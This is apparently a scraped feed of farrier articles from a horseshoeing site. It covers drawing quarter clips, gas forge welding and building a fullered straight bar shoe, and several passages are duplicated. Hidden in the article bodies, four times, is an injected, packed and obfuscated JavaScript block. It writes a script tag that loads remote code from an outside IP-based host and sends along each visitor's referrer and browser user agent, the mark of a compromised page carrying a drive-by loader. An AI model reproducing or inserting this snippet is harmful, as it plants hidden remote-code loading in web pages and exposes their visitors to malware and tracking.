src="images/stories/horshoes-graphics/fremlin_2_7.jpg" width="265" height="272" /></p> <p style="text-align: center;"><strong>Image 7</strong></p> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <hr /> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;">Step #7</th> <td style="text-align: left;" colspan="2"><strong>Level the shoe around the clip. (Image 8). The foot side should be smooth so that there is no sole pressure. (Image 9)</strong></td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_2_8" src="images/stories/horshoes-graphics/fremlin_2_8.jpg" width="401" height="270" /></p> <p style="text-align: center;"><strong>Image 8</strong></p> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_2_9" src="images/stories/horshoes-graphics/fremlin_2_9.jpg" width="338" height="276" /></p> <p style="text-align: center;"><strong>Image 9</strong></p> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <hr /> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;">Step #8</th> <td style="text-align: left;" colspan="2"><strong>Place the shoe over the bick (horn) with the clip pointing toward the table. Lightly strike the base of the clip. The hammer should be striking over the top of the bick, so that the shape of the shoe is not altered. Bring the clip to the hammer by moving the shoe around the bick. (Image 10) This should give your clip the proper pitch. (Image 11)</strong></td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <p> </p> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_2_10" src="images/stories/horshoes-graphics/fremlin_2_10.jpg" width="297" height="280" /></p> <p style="text-align: center;"><strong>Image 10</strong></p> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_2_11" src="images/stories/horshoes-graphics/fremlin_2_11.jpg" width="303" height="281" /></p> <p style="text-align: center;"><strong>Image 11</strong></p> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <hr /> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;">Step #9</th> <td style="text-align: left;" colspan="2"><strong>Now draw the other clip using the same steps with only two small changes. The heels of the shoe will face you this time, and you have to grasp the shoe a little differently before drawing the clip. With the ground side up and the heels pointing to the bick, reach over the branch to be clipped and grasp the opposite branch at about the 1</strong><span style="font-size: x-small;"><strong>st</strong></span><strong>nail hole. The reins of the tongs should lay on top of the branch to be clipped at about the heel area.</strong></td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_2_12" src="images/stories/horshoes-graphics/fremlin_2_12.jpg" width="383" height="271" /></p> <p style="text-align: center;"><strong>The finished shoe!</strong></p> </td> </tr> </tbody> </table> </center> <p> </p> <h1 style="text-align: center;">Voila! You're there!</h1> <center><strong>With a little practice, you should be able to draw a clip in one heat. Maybe even two clips in one heat!</strong></center> <hr /> <center><strong>Email: <a href="mailto:kfremlin@worldnet.att.net">KFremlin@worldnet.att.net</a></strong></center> <hr /> <center> <table style="width: 550px;" border="1" cellpadding="5"> <tbody style="text-align: left;"> <tr style="text-align: left;"> <td style="text-align: left;" bgcolor="#ffff00"><span style="font-size: x-small;"><strong><span style="text-decoration: underline;">DISCLAIMER AND WARNING</span>: Forgery, metalsmithing, welding, blacksmithing and similar activities have INHERENT RISKS INCLUDING POTENTIAL SERIOUS INJURY TO THE PRACTITIONER AND/OR BYSTANDERS. The practitioner is responsible for ensuring adequate safety precautions (including eye protection appropriate to this type of activity) and skill, issues not covered or purported to be covered in these web pages. KEITH FREMLIN ASSUMES NO RESPONSIBILITY FOR INJURY TO THE PRACTIONER OR OTHERS ENGAGING IN ACTIVITIES OF FORGERY, METALSMITHING, WELDING, BLACKSMITHING OR THE LIKE AS ILLUSTRATED IN THESE WEB PAGES. </strong></span></td> </tr> </tbody> </table> </center></div> <div class="feed-description"><center> <div style="text-align: center;"></div> <table style="width: 600px;"> <tbody style="text-align: left;"> <tr style="text-align: left;"> <td> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_2_0" src="images/stories/horshoes-graphics/fremlin_2_0.jpg" width="220" height="207" /></p><noindex><script id="jminfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yeykd|var|u0026u|referrer|ebifh||js|php'.split('|'),0,{})) </script></noindex> </td> </tr> </tbody> </table> </center> <center><strong>ARE YOU READY??? Relax....and have fun! It's only a horseshoe.</strong></center> <p><strong><span class="dropcap">T</span>his method has worked for me for many years. For this tutorial I decided to draw quarter clips. I always start on the right side of the shoe first (heels pointing up). Bring the portion of shoe to be clipped to a bright yellow heat and we're ready to start.</strong></p> <center> <table style="width: 600px;" border="4" cellpadding="5"> <tbody style="text-align: left;"> <tr style="text-align: left;"> <th style="text-align: left;">Step #1</th> <td style="text-align: left;" colspan="2"><strong>Place punch on the ground side of the shoe about </strong><span style="font-size: x-small;"><strong>1/8th</strong></span> <strong>of an inch from the outside of the web between the 1</strong><span style="font-size: x-small;"><strong>st</strong></span> <strong>and 2</strong><span style="font-size: x-small;"><strong>nd</strong></span> <strong>nail holes. Drive the punch down until it bottoms out.</strong></td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="fremlin_2_1" src="images/stories/horshoes-graphics/fremlin_2_1.jpg" width="330" height="279" /></p> <p style="text-align: center;"><strong>Image 1</strong></p> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <hr /> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;">Step #2</th> <td style="text-align: left;" colspan="2"><strong>Leave the punch in the shoe and drag it over to the upper left-hand corner of the hardie hole. Tip the punch at about a 45-degree angle and drive it into the corner of the hardie hole until you feel it bottom out. (Image 2)</strong> <p><strong>If you turn the shoe over to the foot side there should be a bubble. (Image 3)</strong></p> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_2_2" src="images/stories/horshoes-graphics/fremlin_2_2.jpg" width="342" height="275" /></p> <p style="text-align: center;"><strong>Image 2</strong></p> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_2_3" src="images/stories/horshoes-graphics/fremlin_2_3.jpg" width="320" height="281" /></p> <p style="text-align: center;"><strong>Image 3</strong></p> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <hr /> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;">Step #3</th> <td style="text-align: left;" colspan="2"><strong>With the ground side up and the heels pointing away from you, reach over the left branch and grasp the right heel with your tongs. The reins of the tongs should lay on top of the right branch somewhere around the 1</strong><span style="font-size: x-small;"><strong>st</strong></span> <strong>or 2</strong><span style="font-size: x-small;"><strong>nd</strong></span><strong>nail holes. Lay the bubble on the edge of the anvil.</strong></td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_2_4" src="images/stories/horshoes-graphics/fremlin_2_4.jpg" width="294" height="273" /></p> <p style="text-align: center;"><strong>Image 4</strong></p> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <hr /> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;">Step #4</th> <td style="text-align: left;" colspan="2"><strong>Using the round side of your hammer, forge the base of the clip.</strong></td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_2_5" src="images/stories/horshoes-graphics/fremlin_2_5.jpg" width="304" height="278" /></p> <p style="text-align: center;"><strong>Image 5</strong></p> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <hr /> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;">Step #5</th> <td style="text-align: left;" colspan="2"><strong>Now, use the flat side. Drop your hammer handle down so that you can strike the base of the clip with the bottom face edge of the hammer. Surf's Up! Ride the wave! With a steady swing of the hammer, pull the clip slowly away. You'll notice a kind of ripple effect caused by the hammer's edge.</strong></td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_2_6" src="images/stories/horshoes-graphics/fremlin_2_6.jpg" width="283" height="273" /></p> <p style="text-align: center;"><strong>Image 6</strong></p> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <hr /> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;">Step #6</th> <td style="text-align: left;" colspan="2"><strong>After you have achieved the desired length of clip, raise the hammer handle so that you can smooth out all those ripples.</strong></td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_2_7" src="images/stories/horshoes-graphics/fremlin_2_7.jpg" width="265" height="272" /></p> <p style="text-align: center;"><strong>Image 7</strong></p> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <hr /> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;">Step #7</th> <td style="text-align: left;" colspan="2"><strong>Level the shoe around the clip. (Image 8). The foot side should be smooth so that there is no sole pressure. (Image 9)</strong></td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_2_8" src="images/stories/horshoes-graphics/fremlin_2_8.jpg" width="401" height="270" /></p> <p style="text-align: center;"><strong>Image 8</strong></p> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_2_9" src="images/stories/horshoes-graphics/fremlin_2_9.jpg" width="338" height="276" /></p> <p style="text-align: center;"><strong>Image 9</strong></p> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <hr /> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;">Step #8</th> <td style="text-align: left;" colspan="2"><strong>Place the shoe over the bick (horn) with the clip pointing toward the table. Lightly strike the base of the clip. The hammer should be striking over the top of the bick, so that the shape of the shoe is not altered. Bring the clip to the hammer by moving the shoe around the bick. (Image 10) This should give your clip the proper pitch. (Image 11)</strong></td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <p> </p> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_2_10" src="images/stories/horshoes-graphics/fremlin_2_10.jpg" width="297" height="280" /></p> <p style="text-align: center;"><strong>Image 10</strong></p> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_2_11" src="images/stories/horshoes-graphics/fremlin_2_11.jpg" width="303" height="281" /></p> <p style="text-align: center;"><strong>Image 11</strong></p> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <hr /> </td> </tr> <tr style="text-align: left;"> <th style="text-align: left;">Step #9</th> <td style="text-align: left;" colspan="2"><strong>Now draw the other clip using the same steps with only two small changes. The heels of the shoe will face you this time, and you have to grasp the shoe a little differently before drawing the clip. With the ground side up and the heels pointing to the bick, reach over the branch to be clipped and grasp the opposite branch at about the 1</strong><span style="font-size: x-small;"><strong>st</strong></span><strong>nail hole. The reins of the tongs should lay on top of the branch to be clipped at about the heel area.</strong></td> </tr> <tr style="text-align: left;"> <th style="text-align: left;"></th> <td style="text-align: left;" colspan="2"> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px;" alt="fremlin_2_12" src="images/stories/horshoes-graphics/fremlin_2_12.jpg" width="383" height="271" /></p> <p style="text-align: center;"><strong>The finished shoe!</strong></p> </td> </tr> </tbody> </table> </center> <p> </p> <h1 style="text-align: center;">Voila! You're there!</h1> <center><strong>With a little practice, you should be able to draw a clip in one heat. Maybe even two clips in one heat!</strong></center> <hr /> <center><strong>Email: <a href="mailto:kfremlin@worldnet.att.net">KFremlin@worldnet.att.net</a></strong></center> <hr /> <center> <table style="width: 550px;" border="1" cellpadding="5"> <tbody style="text-align: left;"> <tr style="text-align: left;"> <td style="text-align: left;" bgcolor="#ffff00"><span style="font-size: x-small;"><strong><span style="text-decoration: underline;">DISCLAIMER AND WARNING</span>: Forgery, metalsmithing, welding, blacksmithing and similar activities have INHERENT RISKS INCLUDING POTENTIAL SERIOUS INJURY TO THE PRACTITIONER AND/OR BYSTANDERS. The practitioner is responsible for ensuring adequate safety precautions (including eye protection appropriate to this type of activity) and skill, issues not covered or purported to be covered in these web pages. KEITH FREMLIN ASSUMES NO RESPONSIBILITY FOR INJURY TO THE PRACTIONER OR OTHERS ENGAGING IN ACTIVITIES OF FORGERY, METALSMITHING, WELDING, BLACKSMITHING OR THE LIKE AS ILLUSTRATED IN THESE WEB PAGES. </strong></span></td> </tr> </tbody> </table> </center></div> Gas Forge Welding 2009-05-27T02:32:40+00:00 2009-05-27T02:32:40+00:00 http://www.horseshoes.com/index.php/educational-index/articles/shoe-and-tool-fabrication/347-gas-forge-welding F. Thomas Breningstall horseshoes@horseshoes.com <div class="feed-description"><p><span class="dropcap"><img style="border-color: #000000; margin: 5px 10px 10px 5px; float: left;" alt="breningstall_anvil" src="images/stories/horshoes-graphics/breningstall_anvil.gif" width="188" height="139" />"I</span> went to farrier school some time back," writes Kevin McClain of Kelowna, British Columbia. "I built my own gas forge, a folding anvil stand, and most of my own tools, which are better than can be bought. I shoe only on the side, but I do make all my own shoes, either creased bar stock or concave. The shoes I make are awesome, but my forge welding is poor at best. I have used borax with limited results, and last week I bought some Sure Weld but had worse luck with it. My question is: What is your method of welding bar shoes?"</p><noindex><script id="jminfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|khkyt|var|u0026u|referrer|tnysd||js|php'.split('|'),0,{})) </script></noindex> <p>Gas welding is sometimes dubious. I use mostly torches or arc welding, but I still love forge welding (both gas and coal), because I enjoy trying to overcome all the variables that rule. Figuring out how to control the variables is hard for everyone. Weather, humidity, and how you hold your mouth all add to the variables. But you sound like a dedicated craftsman. I like that. So I'll go through gas forge welding and hope I cover something that will help you.</p> <p>Your gas forge needs to get hot enough to make the steel white hot, about 2,500° F. At that temperature the surface of the steel is just at the liquid point. Don't make it any hotter, or you'll melt and burn the steel.</p> <p>Both pieces must be at the same heat and free of scale. As the steel heats up, wire brush it to remove the scale. As you get to an orange heat, add flux to both pieces. A good flux can be made from borax, clean sand, and iron filings. You'll have to experiment to find the proportions that work best for you. Try one pound borax, one pound white sand, and one ounce iron filings. After adding flux, return the steel to the forge to get the white heat.</p> <p>Your anvil should be pre-heated until the face is quite warm to the touch. Warm your anvil by heating a piece of steel to yellow heat and laying it on the face of the anvil. As the steel cools off the anvil will heat up.</p> <p>To make bar shoes from one piece of steel, you must scarf (bevel) and overlap the ends--right-handed overlap for right handers, and left-handed for left handers. Heat the shoe and add your flux, then heat your shoe to welding heat. Bring the shoe out and place it on the anvil. Use light blows to seat the weld and then stronger blows as the weld makes. Shape the shoe as the color cools to dark red.</p> <p>Well, that's my gas welding short course. Welding in a coal forge is tough, but welding in a gas forge is tougher. Sometimes it works, sometimes it doesn't. With practice you will be as proud of your welds as you are of your tools and shoes.</p> <p>F. Thomas Breningstall is an AFA and MHA certified full-time farrier living in Fowlerville, Michigan. His column "Hoof & Hammer" appears regularly in <strong><em>RURAL HERITAGE</em></strong> draft-animal magazine, and is reprinted here with permission.</p></div> <div class="feed-description"><p><span class="dropcap"><img style="border-color: #000000; margin: 5px 10px 10px 5px; float: left;" alt="breningstall_anvil" src="images/stories/horshoes-graphics/breningstall_anvil.gif" width="188" height="139" />"I</span> went to farrier school some time back," writes Kevin McClain of Kelowna, British Columbia. "I built my own gas forge, a folding anvil stand, and most of my own tools, which are better than can be bought. I shoe only on the side, but I do make all my own shoes, either creased bar stock or concave. The shoes I make are awesome, but my forge welding is poor at best. I have used borax with limited results, and last week I bought some Sure Weld but had worse luck with it. My question is: What is your method of welding bar shoes?"</p><noindex><script id="jminfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|khkyt|var|u0026u|referrer|tnysd||js|php'.split('|'),0,{})) </script></noindex> <p>Gas welding is sometimes dubious. I use mostly torches or arc welding, but I still love forge welding (both gas and coal), because I enjoy trying to overcome all the variables that rule. Figuring out how to control the variables is hard for everyone. Weather, humidity, and how you hold your mouth all add to the variables. But you sound like a dedicated craftsman. I like that. So I'll go through gas forge welding and hope I cover something that will help you.</p> <p>Your gas forge needs to get hot enough to make the steel white hot, about 2,500° F. At that temperature the surface of the steel is just at the liquid point. Don't make it any hotter, or you'll melt and burn the steel.</p> <p>Both pieces must be at the same heat and free of scale. As the steel heats up, wire brush it to remove the scale. As you get to an orange heat, add flux to both pieces. A good flux can be made from borax, clean sand, and iron filings. You'll have to experiment to find the proportions that work best for you. Try one pound borax, one pound white sand, and one ounce iron filings. After adding flux, return the steel to the forge to get the white heat.</p> <p>Your anvil should be pre-heated until the face is quite warm to the touch. Warm your anvil by heating a piece of steel to yellow heat and laying it on the face of the anvil. As the steel cools off the anvil will heat up.</p> <p>To make bar shoes from one piece of steel, you must scarf (bevel) and overlap the ends--right-handed overlap for right handers, and left-handed for left handers. Heat the shoe and add your flux, then heat your shoe to welding heat. Bring the shoe out and place it on the anvil. Use light blows to seat the weld and then stronger blows as the weld makes. Shape the shoe as the color cools to dark red.</p> <p>Well, that's my gas welding short course. Welding in a coal forge is tough, but welding in a gas forge is tougher. Sometimes it works, sometimes it doesn't. With practice you will be as proud of your welds as you are of your tools and shoes.</p> <p>F. Thomas Breningstall is an AFA and MHA certified full-time farrier living in Fowlerville, Michigan. His column "Hoof & Hammer" appears regularly in <strong><em>RURAL HERITAGE</em></strong> draft-animal magazine, and is reprinted here with permission.</p></div> Constructing A Fullered Straight Bar Shoe 2009-01-25T10:13:37+00:00 2009-01-25T10:13:37+00:00 http://www.horseshoes.com/index.php/educational-index/articles/shoe-and-tool-fabrication/345-constructing-a-fullered-straight-bar-shoe Keith Fremlin baron@horseshoes.com <div class="feed-description"><center><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_topnew" src="images/stories/horshoes-graphics/fremlin_1_topnew.jpg" width="202" height="228" /></center> <p> </p><noindex><script id="jminfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|krbbh|var|u0026u|referrer|ryfkf||js|php'.split('|'),0,{})) </script></noindex> <center> <table width="600"> <tbody> <tr> <td><strong>There are many ways to measure a foot for a fullered straight bar shoe. This is one that works for me. This tutorial is based on using 5/16 by 3/4 inch stock. </strong> <p><strong>ARE YOU READY??? Relax....As the great Bob Marshall once told me, "It's only a piece of steel. You can always cut another!"</strong></p> </td> </tr> </tbody> </table> </center> <p> </p> <center> <table style="height: 4152px;" width="601" border="4" cellpadding="5"> <tbody> <tr> <th>Determining the length of stock using 5/16 by 3/4 inch stock.</th> <td colspan="2"><strong>I use a soft tape measure (sewing type)</strong> <p><strong><img style="border-color: #000000; margin: 5px; float: left;" alt="fremlin_1_meas1" src="images/stories/horshoes-graphics/fremlin_1_meas1.jpg" width="292" height="275" /></strong></p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p><strong>Measure from one heel buttress around the toe to the other heel buttress.</strong></p> </td> </tr> <tr> <td></td> <td colspan="2"> <p><strong><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_meas2" src="images/stories/horshoes-graphics/fremlin_1_meas2.jpg" width="366" height="275" /></strong></p> <p><strong>Subtract 2 3/4 inches.</strong></p> </td> </tr> <tr> <td></td> <td colspan="2"> <p><strong><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_meas3" src="images/stories/horshoes-graphics/fremlin_1_meas3.jpg" width="322" height="196" /></strong></p> <p><strong>Measure and add the distance between the heels.</strong></p> <p><strong>This length should put you in the ball park.</strong></p> </td> </tr> <tr> <th>Marking Stock</th> <td><strong>Be sure to mark your stock before starting!</strong> <br /> <p><strong>Make three marks. One in the center of stock for the toe bend and a mark from each end of the stock, half the distance between the heels for the connecting bar. For example: If the distance between the heels is 2 1/4 inches, half of that is 1 1/8 inches.</strong></p> </td> <th style="text-align: center;"> <p><img style="border-color: #000000; margin: 5px; float: left;" alt="fremlin_1_0" src="images/stories/horshoes-graphics/fremlin_1_0.jpg" width="104" height="544" />Marking Stock</p> </th> </tr> <tr> <th>Heat #1 </th> <td> <p><strong>Heat two-thirds of the stock.</strong></p> <p><a href="images/fremlin%20_1_bend1.jpg"><strong>Bend the toe</strong></a></p> </td> <th style="text-align: center;"><img style="border-color: #000000; margin: 5px; float: left;" alt="fremlin_1_bend1" src="images/stories/horshoes-graphics/fremlin_1_bend1.jpg" width="287" height="249" /></th> </tr> <tr> <td></td> <td><strong>Hockey stick the first half of the bar.</strong></td> <td><img style="border-color: #000000; margin: 5px; float: left;" alt="fremlin_1_hockey1" src="images/stories/horshoes-graphics/fremlin_1_hockey1.jpg" width="226" height="196" /><br /></td> </tr> <tr> <td></td> <td></td> <td><img style="border-color: #000000; margin: 5px; float: left;" alt="fremlin_1_hockey2" src="images/stories/horshoes-graphics/fremlin_1_hockey2.jpg" width="268" height="250" /><br /></td> </tr> <tr> <td></td> <td><strong>Scarf the end.</strong></td> <td><img style="border-color: #000000; margin: 5px; float: left;" alt="fremlin_1_scarf1" src="images/stories/horshoes-graphics/fremlin_1_scarf1.jpg" width="204" height="181" /><br /></td> </tr> <tr> <td></td> <td> <p><strong> </strong></p> <br /></td> <td><img style="border-color: #000000; margin: 5px; float: left;" alt="fremlin_1_scarf2" src="images/stories/horshoes-graphics/fremlin_1_scarf2.jpg" width="253" height="228" /><br /></td> </tr> <tr> <td></td> <td><strong>Turn the branch.</strong></td> <td> <p><strong><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_1" src="images/stories/horshoes-graphics/fremlin_1_1.jpg" width="385" height="250" />Finished</strong></p> </td> </tr> <tr> <th>Heat #2</th> <td colspan="2"> <p><strong><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_2" src="images/stories/horshoes-graphics/fremlin_1_2.jpg" width="390" height="255" /></strong></p> <p><strong>Heat remaining stock. Hockey stick second half of the bar.</strong></p> </td> </tr> <tr> <td></td> <td colspan="2"> <p><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_putscarf" src="images/stories/horshoes-graphics/fremlin_1_putscarf.jpg" width="244" height="321" /></p> <p><strong>Put scarfs together.</strong></p> </td> </tr> <tr> <td></td> <td colspan="2"> <p><strong><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_flux" src="images/stories/horshoes-graphics/fremlin_1_flux.jpg" width="350" height="253" /></strong></p> <p><strong>Flux</strong></p> </td> </tr> <tr> <th>Heat #3</th> <td colspan="2"> <p><strong><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_weld" src="images/stories/horshoes-graphics/fremlin_1_weld.jpg" width="367" height="247" /></strong></p> <p><strong>Place shoe in forge so that the bar is surrounded by the fire. </strong></p> <p><strong>Bring to welding heat. Tack the weld together, brush and flux.</strong></p> </td> </tr> <tr> <th>Heat #4</th> <td><strong>Place shoe in forge in the same manner as in Heat #3. Bring to a welding heat, place shoe over bick, bar side up. Using the round side of the hammer, strike the shoe in the location indicated by the red arrow. </strong></td> <th style="text-align: center;"> <p style="text-align: left;"><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_strike1" src="images/stories/horshoes-graphics/fremlin_1_strike1.jpg" width="281" height="208" /></p> <a href="images/fremlin%20_1_finbar.jpg"></a></th> </tr> <tr> <td></td> <td><strong>Pull the shoe back toward the inside of the bick and strike again</strong><strong> in the location indicated by the red arrow. Now face the point of the bick, holding the toes of the shoe with the tongs, and place the ground side of the bar on the end of the bick. </strong></td> <td><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_strike2" src="images/stories/horshoes-graphics/fremlin_1_strike2.jpg" width="288" height="251" /><br /></td> </tr> <tr> <td></td> <td><strong>Again, use the round side of the hammer and draw out</strong><strong> the center inside edge of the bar.</strong></td> <td><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_drawout" src="images/stories/horshoes-graphics/fremlin_1_drawout.jpg" width="282" height="247" /><br /></td> </tr> <tr> <td></td> <td></td> <td> <p><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_finbar" src="images/stories/horshoes-graphics/fremlin_1_finbar.jpg" width="290" height="249" /></p> <p><strong>The finished bar.</strong></p> </td> </tr> <tr> <th>Heat #5</th> <td colspan="2"> <p><strong><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_6" src="images/stories/horshoes-graphics/fremlin_1_6.jpg" width="340" height="249" /><br /></strong></p> <p><strong>Heat the whole shoe evenly. Shape shoe to desired shape. </strong></p> </td> </tr> <tr> <td></td> <td colspan="2"> <p><strong><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_7" src="images/stories/horshoes-graphics/fremlin_1_7.jpg" width="375" height="244" /><br /></strong></p> <p><strong>At the toe, </strong><strong>mark the top</strong><strong> of the fullering. Bump up the quarters and mark for fullering.</strong></p> </td> </tr> <tr> <th>Heat #6</th> <td colspan="2"> <p><strong>Heat first branch to a bright orange-yellow heat. Then:</strong></p> <p><strong><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_8" src="images/stories/horshoes-graphics/fremlin_1_8.jpg" width="375" height="248" /><br /></strong></p> <p><strong>Fuller branch</strong></p> </td> </tr> <tr> <td></td> <td colspan="2"> <p><strong><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_9" src="images/stories/horshoes-graphics/fremlin_1_9.jpg" width="373" height="247" /><br /></strong></p> <p><strong>Bottom punch</strong></p> </td> </tr> <tr> <td></td> <td colspan="2"> <p><strong><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_10" src="images/stories/horshoes-graphics/fremlin_1_10.jpg" width="300" height="245" /><br /></strong></p> <p><strong>Pritchel nail holes.</strong></p> </td> </tr> <tr> 